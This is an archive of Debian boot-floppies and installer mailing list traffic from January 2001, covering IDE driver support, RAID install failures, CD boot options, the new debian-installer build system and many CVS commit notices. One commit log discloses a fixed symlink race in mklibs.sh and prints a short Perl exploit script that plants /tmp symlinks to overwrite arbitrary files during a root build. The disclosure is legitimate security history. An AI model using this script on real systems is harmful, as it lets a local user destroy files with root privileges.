Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265)
Adam Di Carlo wrote: Karl Hammar [EMAIL PROTECTED] writes: I assume you have two ordinary ide controllers on your motherboard. In that case you can: connect disc on std. ide install debian download lk-2.2.18 and latest ide-patches roll your own kernel and install it move disc to udma100 controller find out what the discs new name by rebooting and studying boot messages, probably /dev/hde reboot with root=/dev/hde??, s/hda/hde/g in /etc/fstab I send a similar mail with subject 'Re: UDMA66 boot problem/HPT370' today, it contains more details. Karl, doesn't all this indicate that there's some stuff not supported on our kernel-image-2.2.18pre21-ide package which *should* be? If so, could you please file a bug on this package? I'm trying to get one more point release of Debian out the door and this would be really helpful if we could get this last round of kernel issues solved (it will help for woody too). All we can do as far as supporting ata100 is make sure that the IDA and UDMA kernels have the latest ide patch applied, which is Herberts domain. Patches from http://www.kernel.org/pub/linux/kernel/people/hedrick/ide-2.2.18/ Glenn -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265)
Understood and agreed. So we won't file bug reports about it? Regards, /Karl --- Karl HammarAsp Data [EMAIL PROTECTED] Lilla Asp 2340 +46 173 140 57Networks S-742 94 sthammar +46 70 511 97 84 Computers Sweden Consulting --- From: Glenn McGrath [EMAIL PROTECTED] Subject: Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265) Date: Thu, 11 Jan 2001 19:29:41 +1100 Adam Di Carlo wrote: Karl Hammar [EMAIL PROTECTED] writes: I assume you have two ordinary ide controllers on your motherboard. In that case you can: connect disc on std. ide install debian download lk-2.2.18 and latest ide-patches roll your own kernel and install it move disc to udma100 controller find out what the discs new name by rebooting and studying boot messages, probably /dev/hde reboot with root=/dev/hde??, s/hda/hde/g in /etc/fstab I send a similar mail with subject 'Re: UDMA66 boot problem/HPT370' today, it contains more details. Karl, doesn't all this indicate that there's some stuff not supported on our kernel-image-2.2.18pre21-ide package which *should* be? If so, could you please file a bug on this package? I'm trying to get one more point release of Debian out the door and this would be really helpful if we could get this last round of kernel issues solved (it will help for woody too). All we can do as far as supporting ata100 is make sure that the IDA and UDMA kernels have the latest ide patch applied, which is Herberts domain. Patches from http://www.kernel.org/pub/linux/kernel/people/hedrick/ide-2.2.18/ Glenn ... -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: ata 100 drivers for debian.(Promise Ultra100 IDE ControllerPDC20265)
From my understanding, this is a case of tracking upstream. Is it really a bug? Regards, /Karl --- Karl HammarAsp Data [EMAIL PROTECTED] Lilla Asp 2340 +46 173 140 57Networks S-742 94 sthammar +46 70 511 97 84 Computers Sweden Consulting --- From: Adam Di Carlo [EMAIL PROTECTED] Subject: Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265) Date: 10 Jan 2001 22:49:36 -0500 Karl Hammar [EMAIL PROTECTED] writes: I assume you have two ordinary ide controllers on your motherboard. In that case you can: connect disc on std. ide install debian download lk-2.2.18 and latest ide-patches roll your own kernel and install it move disc to udma100 controller find out what the discs new name by rebooting and studying boot messages, probably /dev/hde reboot with root=/dev/hde??, s/hda/hde/g in /etc/fstab I send a similar mail with subject 'Re: UDMA66 boot problem/HPT370' today, it contains more details. Karl, doesn't all this indicate that there's some stuff not supported on our kernel-image-2.2.18pre21-ide package which *should* be? If so, could you please file a bug on this package? I'm trying to get one more point release of Debian out the door and this would be really helpful if we could get this last round of kernel issues solved (it will help for woody too). -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265)
Karl Hammar wrote: Understood and agreed. So we won't file bug reports about it? Regards, /Karl I assume the next release will use the kernel-image-2.2.18-ide image (rather than pre18), maybe you could check if this image recognises your card. Im not sure how to check which patches were used to build a kernel image... Glenn -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Booting problems: DELL PowerEdge 4400 with PERCRAID
Hi there, my problem is with the installation of potato using customized boot disks from Kevin Trass (http://www.merilus.com/~kevin/aacraid.html) and Mr. Nokubi (http://www.eal.or.jp/~nokubi/aacraid-disk/). I boot rescue and root. The PERCRAID is recognized as well as the containers (RAID1 and RAID5) according to dmesg. I then use cfdisk to create partitions. Everything works fine. Partition tables are written. But initializing a partition creates a "Kernel Panic: Inactive in scsi_request_queueable In swapper_task - not syncing". mke2fs writes a number of inodes and then crashes. My 1st workaround: I used RedHat 7.0 and its disk tool Disk Druid to create the partitions and install a minimal RedHat installation. Interestingly, RedHat writes the file systems without any problem using mke2fs. I then rebott with one of the customized boot disks and "rm -r *" everything just to get a clean partition (remember: I can't use mke2fs from either one of the boot disks). I then install my system from /dev/fd0 according to the hints from Kevin Traas. I insert rescue and all 3 driver floppies and the problem is here again. When trying to install drivers.tgz I get a "Kernel Panic: ..." just like above. My question is: What am I doind wrong and how can I install Debian 2.2r2 on my system? Thanks in advance Stefan -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265)
I don't have that card any more. I delivered it to a customer. Regards, /Karl --- Karl HammarAsp Data [EMAIL PROTECTED] Lilla Asp 2340 +46 173 140 57Networks S-742 94 sthammar +46 70 511 97 84 Computers Sweden Consulting --- From: Glenn McGrath [EMAIL PROTECTED] Subject: Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265) Date: Thu, 11 Jan 2001 21:29:31 +1100 Karl Hammar wrote: Understood and agreed. So we won't file bug reports about it? Regards, /Karl I assume the next release will use the kernel-image-2.2.18-ide image (rather than pre18), maybe you could check if this image recognises your card. Im not sure how to check which patches were used to build a kernel image... Glenn -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: regarding potato images
I looked at El Torito a few years ago in this regard. It allows you to have a choice of which floppy image gets booted so there is no space problem. The first problem I saw at that time was a lack of support for this feature in mkisofs. That might be solved now in mkhybrid, but the bigger problem I see is that using this feature raises the bios compatibility requirement quite a bit. I am highly in favor of other techniques suggested which would initially load grub or similar boot systems. Note that if debian was a tiny thing El Torito would be useful because it allows multiple architectures to share a bootable CD. This might be great if someone wants to put diags and memtest for multiple arches on a CD that gets bundled with a book or magazine. I don't think it is needed for the mother of all distros with it's thousands of packages :) I should probably subscribe myself to debian-boot but I do appreciate people posting things like this to both the boot and cd lists. I would say that it won't bother me a bit if lots of packages get pushed off of CD 1. I would love to be able to include lots of options when binary CD 1 is booted. Besides the choice of kernels for initial install purposes we could have options for rescue/repair and hardware probing/diagnostics. I also was thinking about the timeout that causes a boot from the hard drive if the user fails to interact. This is nice for people who accidentally leave a bootable CD in a machine that they wish to remotely reboot but it is also desirable for certain older machines with stinky bios code. I have seen a few that do not have any setup option for disabling CD boot. With these systems if I left an NT CD in the drive I would get a delay(30 seconds I think) before it booted the hard drive. If I left a debian CD in I would get the install/rescue bootup whether I was at the machine or not. On Wed, 10 Jan 2001, Jim Westveer wrote: Date: Wed, 10 Jan 2001 22:19:52 -0800 (PST) From: Jim Westveer [EMAIL PROTECTED] To: [EMAIL PROTECTED] Cc: [EMAIL PROTECTED], [EMAIL PROTECTED], Robert Guthrie [EMAIL PROTECTED] Subject: Re: regarding potato images Resent-Date: Thu, 11 Jan 2001 01:20:19 -0500 Resent-From: [EMAIL PROTECTED] On 11-Jan-2001 Adam Di Carlo wrote: Robert Guthrie [EMAIL PROTECTED] writes: Forgive my ignorance, but I just had to de-lurk to ask this probably silly question: Can't you have multiple kernel images on the same cd, chosen via lilo (or whatever boot loader is being used) just like when you have mulitple kernel versions on you computer? It is based on the El Torito boot standard -- I don't think this is doable, partly in part due to boot-floppies itself. But even so, you couldn't fit 4 kernels and the root.bin on a 2.8MB disk iamge. But I defer the debian-cd folks. I don't know all that much about it. El-Torito (ref: www.phoenix.com/products/specs-cdrom.pdf or others) is really just a floppy boot image of either 1.44M or 2.88M. That is why the boot-disk images are EXACTLY 1.44M or 2.88M in size, so they can just be copied to the boot1 area, and used "as-is" to make a CD/ROM boot. You may want to look at the debian-cd boot code from the CVS sources ( in tools/boot/potato/boot-i386 ) and see if you can hack it to support multiple images on the same CD. Ciao, -- Jim Westveer [EMAIL PROTECTED] "Bother," said Pooh as he struggled with sendmail.cf. "It never does quite what I want." "I wish Christopher Robin were here.". E-Mail: [EMAIL PROTECTED] [EMAIL PROTECTED] work : 425-591-3002 Date: 10-Jan-2001 FAX:425-392-0141 Time: 22:02:16 pgp-key 0x36129171gpg-key 0x9823336C -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] +--+ + Paul Wade Greenbush Technologies Corporation + + mailto:[EMAIL PROTECTED] http://www.greenbush.com/ + +--+ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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Bug#71189: [alpha] AXP get clock setting wrong (hwclock)
Hi. Is the problem with hwclock on Alpha AXP you mentioned fixed upstream? Which version fixed it -- do you know? I don't think there's anything boot-floppies needs to do but include the new hwclock which is working. You also mention a desire that the real time clock is enabled. If you want that included, you must file a bug against the alpha kernel packges, no against base. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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Processing commands for [EMAIL PROTECTED]: retitle 76771 [cvs fixed] Improper /root permissions Bug#76771: Improper /root permissions Changed Bug title. retitle 81319 [cvs fixed] Error upon reboot after installation: /sbin/termwrap Bug#81319: Error upon reboot after installation: /sbin/termwrap Changed Bug title. thanks Stopping processing here. Please contact me if you need assistance. Darren Benham (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265)
Glenn McGrath [EMAIL PROTECTED] writes: All we can do as far as supporting ata100 is make sure that the IDA and UDMA kernels have the latest ide patch applied, which is Herberts domain. Patches from http://www.kernel.org/pub/linux/kernel/people/hedrick/ide-2.2.18/ Yes. My question is that I would like some to *check* the ide patches Herbert is currently shipping and make sure they are the newest, and if not, file an RC bug so we can track this. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot
Module name:boot-floppies
Changes by: joeyh 01/01/11 12:32:45
Modified files:
scripts/rootdisk: mklibs.sh
Log message:
Sigh. Fixed a local symlink attack that allowed any user on the system to
overwrite any file on the system with a list of the symbols in libc when
the boot-floppies were building (which typically runs as root..). Working
exploit:
#!/usr/bin/perl
$target=shift;
system `rm -rf /tmp/nasty`;
mkdir '/tmp/nasty', 0755;
chdir '/tmp/nasty';
symlink($target,'undefined-symbols');
chdir '..';
$|=1;
# FIXME: pid wraparound. Plus this could be smarter.
for ($x=$$ + 1; $x $$ + 10; $x++) {
symlink("nasty", ",mklibs.$x");
print ".";
}
set -e should *not* be optional in shell scripts!
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: joeyh 01/01/11 12:40:50 Modified files: scripts/rootdisk: mklibs.sh Log message: now knows where to look for glibc 2.2 -pic files (same place as 2.1) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: joeyh 01/01/11 12:44:37 Modified files: scripts/rootdisk: mklibs.sh Log message: AHA! I was missing one change for glibc 2.2, now I can actually reduce things properly thanks to Jeff Licquia. Mklibs should be a lot more robust than this. Sigh. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
reduced d-i demo3
Working from a somewhat old demo3, I reduced libc. (Got mklibs working; the fixes have been commited to boot-floppies cvs). The result: 1.1M. Total demo3 system! -rw-rw-r--1 joey joey89228 Jan 11 12:45 ld-2.2.so -rw-rw-r--1 joey joey 497612 Jan 11 12:45 libc-2.2.so The libraries. (Excluding ncurses for cdebconf, which will be changing to slang soon.) This is very, very good news! Ok, libc is gonna be half of the footprint, but this is small enough to fit on a disk with a kernel. Other ways to look at it: joey@gumdrop:~/tmpls -l demo3.tar demo3.tar.gz -rw-rw-r--1 joey joey 1116160 Jan 11 12:47 demo3.tar -rw-rw-r--1 joey joey 433037 Jan 11 12:47 demo3.tar.gz I'm going to attempt to get a new demo out incorporating the other demo systems others have produced, and library reduction. Unfortunatly, while the libraries get reduced, ash doesn't work (busybox does). root@gumdrop:/home/joey/tmp/demo3chroot . bin/sh bin/sh: error while loading shared libraries: bin/sh: symbol sys_siglist, version GLIBC_2.1 not defined in file libc.so.6 with link time reference I'm sure this comment in mklibs.sh has some bearing: # ash has undefined reference to sys_siglist if .bss is not mentioned # here. Reported by Joel Klecker. # All symbols are epxosed, so we just catch all. Suggested by Roland # McGrath. Another thing to try is to investigate --dynamic-reloc. $objdump --dynamic-syms "$@" 2 /dev/null \ | sed -n 's/^.* \([^ ]*\)$/\1/p' # | sed -n 's/^.*[\*UND\*|.bss].* \([^ ]*\)$/\1/p' We'll see. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: reduced d-i demo3
Joey Hess wrote: Unfortunatly, while the libraries get reduced, ash doesn't work (busybox does). root@gumdrop:/home/joey/tmp/demo3chroot . bin/sh bin/sh: error while loading shared libraries: bin/sh: symbol sys_siglist, version GLIBC_2.1 not defined in file libc.so.6 with link time reference I re-did the library reduction and it seems to work this time. Probably just a goof on my part. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: library deduction again
Marcus Brinkmann wrote: On Thu, Jan 11, 2001 at 12:05:44PM -0800, Joey Hess wrote: Has anyone successfully build the boot floppies on a unstable box? I am trying to figure out if I am just using mklibs.sh wrong, or if it is broken with the new libc. It's definitely not prepared to build the new glibc. glibc is stressing the code, and the way things work with glibc is changing every new point release. Actually, I got it working. See the changes I committed to cvs today. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 14:19:35 debian-installer/build/lists Update of /cvs/debian-boot/debian-installer/build/lists In directory klecker:/org/home/joeyh/tmp/cvs-serv6400/lists Log Message: Directory /cvs/debian-boot/debian-installer/build/lists added to the repository -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Booting problems: DELL PowerEdge 4400 with PERCRAID
Sorry, there's no way I can support disks that didn't come from us. You'd have to ask the folks who produced those disks. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: ata 100 drivers for debian.(Promise Ultra100 IDE Controller PDC20265)
Glenn McGrath [EMAIL PROTECTED] writes: Karl Hammar wrote: Understood and agreed. So we won't file bug reports about it? Regards, /Karl I assume the next release will use the kernel-image-2.2.18-ide image (rather than pre18), maybe you could check if this image recognises your card. Im not sure how to check which patches were used to build a kernel image... Get the source package kernel-patch-2.2.18pre21-ide and look it over, I guess. -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 14:40:31 Added files: build : Makefile README sources.list build/lists: base net Log message: This is still very rough, but it works. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 14:46:47 Modified files: build : Makefile Log message: tweaks and tune-ups -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 14:53:25 Modified files: build : Makefile README Log message: stats added -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
d-i build system
Allright folks, now that I have library reduction working, and we have .udebs in the main archive, it is time to have a real build system for the installer. I have checked in the beginings of one to debian-installer/build/ "make TYPE=net" will download .udebs and generate a chroot-capable, library-reduced system in tmp/ that uses the wget retreiver. Please feel free to modify the build system to add your udebs, make improvements, and so on. There should be less need for demo systems from now on.. Oh, note that you have to grab mklibs.sh out of the debian-boot cvs and put it in your PATH for this to work. I have asked Marcus to make a proper Debian package of it; until one is available we'll have to live with this annoyance. You also need libc6-pic. We really need a cdebconf .udeb on the archive in the same place as all the other udebs. Right now, the system that is built can be chrooted into, but I cannot run main-menu or anything, since I am not installing cdebconf. -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 14:58:15 Removed files: . : build.sh test.sh Log message: obsolete; removed -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
2.2r3 preparation
Well, I have 2.2r3 pretty much ready to ship on the boot-floppies side. I'm hoping we can get the preparation done so we're ready to go. The only thing in proposed updates that looks relevant to me is the new kernels, 2.2.18 (rather than the pre21 version). Clearly we need the PCMCIA stuff and the idepci/compact kernels. I also had some other problems identified on those that I think need to get fixed, such as BSD disklabel support for the idepci/compact flavors, and serial console on any i386 images it can fit on. I also just uploaded a new base-config for stable, which will need porting. I will probably upload boot-floppies 2.2.21 w/o waiting for the kernels to settle, just to get it out and in case folks wanna get out 2.2r3 w/o waiting for the kernels. Anyone working on this, then? BenC ? Anthony? -- .Adam Di [EMAIL PROTECTED]URL:http://www.onShore.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: 2.2r3 preparation
Adam Di Carlo [EMAIL PROTECTED] said: The only thing in proposed updates that looks relevant to me is the new kernels, 2.2.18 (rather than the pre21 version). Clearly we need the PCMCIA stuff and the idepci/compact kernels. New working PCMCIA packages are in the incoming directory. I can build modules for the idepci and compact kernels when those kernels are built. - Brian -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: aph
CVSROOT:/cvs/debian-boot Module name:base-config Changes by: aph 01/01/11 16:19:16 Modified files: debian : Tag: potato-branch changelog postinst Log message: back my 0.33.3 change out -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 16:32:20 debian-installer/build/localudebs Update of /cvs/debian-boot/debian-installer/build/localudebs In directory klecker:/org/home/joeyh/tmp/cvs-serv15518/localudebs Log Message: Directory /cvs/debian-boot/debian-installer/build/localudebs added to the repository -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 16:34:22 Modified files: build : Makefile README Added files: build : .cvsignore build/localudebs: .cvsignore Log message: udebs can be placed in the localudebs directory if they are not available on the mirror apt is using, or newer versions are available, or whatever. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 16:48:09 Modified files: build : Makefile Log message: can now pass EXTRAS="package .." to include extra non-listed udeb packages into the system it builds -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
more d-i fun
The new build system makes it pretty easy to get an idea of just how much space a given componeent is adding to the system, while taking into account any size it adds to the reduced libraries. Like so: joey@gumdrop:~/debian/packages/debian-installer/buildPATH=$PATH:~ \ fakeroot make TYPE=net 21 | grep "Total system size" Total system size: 880k Now add cdebconf: joey@gumdrop:~/debian/packages/debian-installer/buildPATH=$PATH:~ \ fakeroot make TYPE=net EXTRAS=cdebconf 21 | grep "Total system size" Total system size: 1.1M Or netcfg: joey@gumdrop:~/debian/packages/debian-installer/buildPATH=$PATH:~ \ fakeroot make TYPE=net EXTRAS=netcfg-static 21 | grep "Total system size" Total system size: 899k -- see shy jo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 16:50:47 Modified files: build : Makefile Log message: copyright info -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 17:04:23 Modified files: build : .cvsignore Makefile sources.list Added files: build : TODO Log message: added provision for sources.list.local to override sources.list -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: joeyh 01/01/11 18:06:58 Modified files: scripts/rootdisk: mklibs.sh Log message: argh. I just upgraded, and the name of libc.so* has changed again, and mklibs broke again. Benc is right, this script is far too fragile in it lookup of the libc pic libraries. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: joeyh 01/01/11 18:09:04 Modified files: scripts/rootdisk: mklibs.sh Log message: typo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Thoughts on the installer (early)
GTK is nice, but it's not going on a floppy. This will. OK, so what about being the "deluxe" installation UI on CD/broadband installs as Randolph has suggested? The question here is whether there is a significant benefit from using the frame buffer as opposed to using X. I think there is. I admit I'd rather have a less hokey widget set, but the other advantage of BOGL is a compact utf8 and i18n library; does GTK have something similar? This is what pango does for a living, a requirement for gtk-fb (and maybe gtk-x11 as well?) Since gtk-fb requires pango, thats just something else that would have to be included in the installation udeb. -- Chris Ruffin [EMAIL PROTECTED] PGP signature
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 18:10:03 Modified files: build : Makefile README sources.list Log message: tweaks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: aph
CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 18:16:12 Modified files: utilities/dbootstrap: main.c Log message: remove bootargs.lang, it's obsolete -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 18:16:54 Modified files: . : basedisks.sh Log message: chmod -R go-rx /root -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 18:17:48 Modified files: . : todo Log message: talk about new system for base in woody -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 18:18:42 Modified files: debian : changelog Log message: document recent changes, and mark 3 other bugs for closing -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Thoughts on the installer (early)
So, if it is going to be restructured, I'd like to find these features on the new one too. I don't think a restructuring is in order, other the one that has been ongoing for a while. Those features will still be in place, if I understand the way the new installer works at this point. I don't think it is up to the user, however, it starts trying interfaces one at a time with a certain priority until it finds one that initializes correctly. Sure, you are right, but let user make their choice: this mean that gtk-fb will depend (and go) on a CD or network installation. With Yes, I'm beginning to realize that this is probably the best place for it (CD install). I admit I'd rather have a less hokey widget set, but the other advantage of BOGL is a compact utf8 and i18n library; does GTK have something similar? I think this is not the point and taking the discussion on "this is better and this is not" whill not help. Actually, I think this is a very important point. First, it has to have international support. Second, the author? of bogl admits to it having a hokey widget set. Well, that is the tradeoff between size (fit on a floppy) and usability. I think its a justified tradeoff for floppy based installations, the more I think about it. I still think we should examine whether using the frame buffer over X would be a benefit. Once the code is written for one, it should be easy to make it work for the other (although I couldn't get gtk-hello.c to compile with the frame buffer :)) -- Chris Ruffin [EMAIL PROTECTED] PGP signature
Re: Bug#81685: kernel doesn't have serial console
Adam Di Carlo wrote: "Eray Ozkural (exa)" [EMAIL PROTECTED] writes: We should do installation over nfsroot, any work on it yet? Hmm. Not that I know of. Is there a bug report? Do you have the bug# handy? No I have no bug report. I don't think a bug has been filed. It should be. I will file a bug then. Thanks, -- Eray (exa) Ozkural Comp. Sci. Dept., Bilkent University, Ankara e-mail: [EMAIL PROTECTED] www: http://www.cs.bilkent.edu.tr/~erayo -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Thoughts on the installer (early)
It's hard to tell right now what is going to make sense as far as a GUI front end, as we've seen by this discussion. I think we're converging on what would make sense. What I saw of gtk-fb looked really neat, pretty, etc. In fact, the first thing that came to my mind was, "Wouldn't that look neat for debian-installer". I haven't looked at the bogl front end, so I can't compare how they 'look'. I think it would be neat to have a really attractive UI, with the debian logo in the background, a progress bar listing the steps that the fully automated install was going through, and a window with interesting text (Debian for newbies, a history of Debian, the Social Contract, DFSG, etc. the user can choose what they are interested in) to read during boring parts (download over ppp). There are a number of ways to arrive at that, and in my eyes it isn't priority at this point. My thoughts exactly. Since a gtk front end is already on the cdebconf TODO, the interested parties could write that, as Randolph suggested. I assume that after that is written, if a gtk-fb UI is desired it would be trivial to enable it, correct? Then we'd be arguing over what the default graphical UI should be, that would be more fun. I believe it would. We'll see. -- Chris Ruffin [EMAIL PROTECTED] PGP signature
Debian Boot CVS: joeyh
CVSROOT:/cvs/debian-boot Module name:debian-installer Changes by: joeyh 01/01/11 18:29:38 Modified files: build : Makefile Log message: added compressed size calculation too -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Debian Boot CVS: aph
CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 18:54:41 Modified files: scripts/rootdisk/messages/C: release_notes Log message: remove some gratuitous messages to floppies, which is often inappropriate -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 19:51:16 Modified files: documentation : Makefile Log message: remove some unnecessary indirection; to dynamic.ent, add a 'releasename' entity, value of "potato" -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 19:51:40 Modified files: documentation : defaults.ent Log message: correct number of i386 pkgs in potato -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 19:52:08 Modified files: documentation : release-notes.sgml Log message: use the new "releasename" entity -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
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CVSROOT:/cvs/debian-boot Module name:boot-floppies Changes by: aph 01/01/11 19:52:30 Modified files: documentation : urls.ent Log message: remove a dup'd entry -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
